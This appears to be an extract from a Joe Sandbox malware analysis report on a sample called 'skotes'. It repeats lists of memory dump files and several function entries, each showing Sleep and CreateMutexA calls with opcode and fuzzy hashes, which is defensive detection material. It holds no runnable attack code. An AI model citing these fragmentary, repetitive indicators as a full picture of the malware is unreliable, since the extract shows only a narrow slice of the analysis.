Associated: 00000002.00000002.1558109535.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558141973.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558173028.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558196095.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558232569.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558254872.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558285318.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558316630.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558350839.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558385633.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558417031.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558445952.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558476544.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558548431.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558579441.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558612613.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558654105.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558763579.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558790189.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558827077.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558863954.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558898662.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558931308.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9a5c02af8e0b7814fce8dd2637e9fd787f005f1a9e2d480999240a325674de14
Instruction ID: dccae7ba986ef4e5c318c7737c49302474f335062ec469fe7c8b89b5a6b1813d
Opcode Fuzzy Hash: 9a5c02af8e0b7814fce8dd2637e9fd787f005f1a9e2d480999240a325674de14
Instruction Fuzzy Hash: 2A3129717041488BEB189B68DE8DBADB7A2EBC5314F24532DE418F73D1C77789828752

Function 00ECA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000002.00000002.1557340900.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557363154.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557449810.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557472972.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557505221.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557699369.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557734376.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557844509.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557872544.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557926711.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557954679.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557986242.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558016827.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558048638.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558076899.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558109535.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558141973.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558173028.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558196095.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558232569.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558254872.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558285318.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558316630.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558350839.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558385633.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558417031.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558445952.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558476544.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558548431.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558579441.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558612613.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558654105.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558763579.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558790189.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558827077.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558863954.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558898662.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558931308.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8d33e3a31fe374b10e6088a63f04e77aa15a0df7f5f173a3e2a940b705922810
Instruction ID: da62be6253848459b2cb8eb2642442a0a57f12885a7a6b0be3f0a6e79f5d2fd4
Opcode Fuzzy Hash: 8d33e3a31fe374b10e6088a63f04e77aa15a0df7f5f173a3e2a940b705922810
Instruction Fuzzy Hash: 00312A717041089BEB189B78DE89F9DB762DFC1318F28522DE414B73D1C77799828752

Function 00ECA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000002.00000002.1557340900.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557363154.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557449810.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557472972.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557505221.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557699369.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557734376.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557844509.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557872544.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557926711.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557954679.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557986242.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558016827.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558048638.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558076899.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558109535.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558141973.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558173028.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558196095.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558232569.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558254872.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558285318.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558316630.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558350839.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558385633.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558417031.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558445952.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558476544.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558548431.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558579441.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558612613.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558654105.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558763579.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558790189.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558827077.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558863954.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558898662.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558931308.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: cb70969c4544392097643101aa6762af200ce07e26572707623ac77d3fb07431
Instruction ID: 4d01d5fa40df54ad8fe3da572722009f928445ea24f113ee9eda67a0a125f699
Opcode Fuzzy Hash: cb70969c4544392097643101aa6762af200ce07e26572707623ac77d3fb07431
Instruction Fuzzy Hash: ED3137717001089BEB089F68EE89FADB762EFC5318F28522DE414B73D1C77789828652

Function 00ECA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000002.00000002.1557340900.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557363154.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557449810.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557472972.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557505221.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557699369.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557734376.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557844509.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557872544.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557926711.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557954679.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557986242.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558016827.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558048638.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558076899.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558109535.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558141973.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558173028.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558196095.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558232569.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558254872.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558285318.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558316630.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558350839.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558385633.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558417031.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558445952.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558476544.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558548431.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558579441.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558612613.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558654105.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558763579.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558790189.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558827077.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558863954.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558898662.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558931308.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f03a20b623a092086dafc882cce50e779cb60214793fa1182f88e4ac73498136
Instruction ID: b8f069c2b5d310811512191e18502513d5df9075c42717d7a19bcabc2cc6b227
Opcode Fuzzy Hash: f03a20b623a092086dafc882cce50e779cb60214793fa1182f88e4ac73498136
Instruction Fuzzy Hash: 38312B717001089BEB0C9B78DE8DFADB762EFC1318F28522DE424B73D5C77689828652

Function 00ECA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000002.00000002.1557340900.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557363154.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557449810.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557472972.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557505221.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557699369.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557734376.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557844509.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557872544.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557926711.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557954679.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557986242.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558016827.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558048638.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558076899.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558109535.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558141973.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558173028.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558196095.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558232569.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558254872.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558285318.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558316630.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558350839.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558385633.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558417031.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558445952.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558476544.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558548431.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558579441.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558612613.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558654105.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558763579.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558790189.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558827077.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558863954.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558898662.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558931308.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: af028b6bb24a079d29953782e7cc9efde071ed48e4e35171f6355f7ded5d666e
Instruction ID: 294de9c3a24f57c2d9f127860fe4ba19ccc6387e062ac34ddf5b94a5b3b0e99c
Opcode Fuzzy Hash: af028b6bb24a079d29953782e7cc9efde071ed48e4e35171f6355f7ded5d666e
Instruction Fuzzy Hash: 25312C717041088BEB18DB78DE89FADB762DFC5318F28922DE414B73D1C77689829752

Function 00ECA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000002.00000002.1557363154.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000002.00000002.1557340900.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557363154.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557449810.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557472972.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557505221.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557699369.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557734376.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557782403.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557844509.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557872544.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557926711.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557954679.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1557986242.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558016827.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558048638.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558076899.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558109535.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558141973.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558173028.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558196095.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558232569.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558254872.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558285318.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558316630.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558350839.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558385633.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558417031.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558445952.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558476544.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558548431.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558579441.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558612613.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558654105.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558686502.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558763579.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558790189.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558827077.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558863954.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558898662.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1558931308.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 1b5620ed32cc62e386ff1233d05e17b5fc8e01058b93d0b8f620971d025990b9
Instruction ID: 032b0936c1bdd3803e9aac5f6647f9f204a7824e3be13a2c7dff466c9a485a4c
Opcode Fuzzy Hash: 1b5620ed32cc62e386ff1233d05e17b5fc8e01058b93d0b8f620971d025990b9
Instruction Fuzzy Hash: A3312E717041088BEB189B78DE89FADB7A2EFC1318F28522DE414F73D1C77689829652

Function 00EC9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

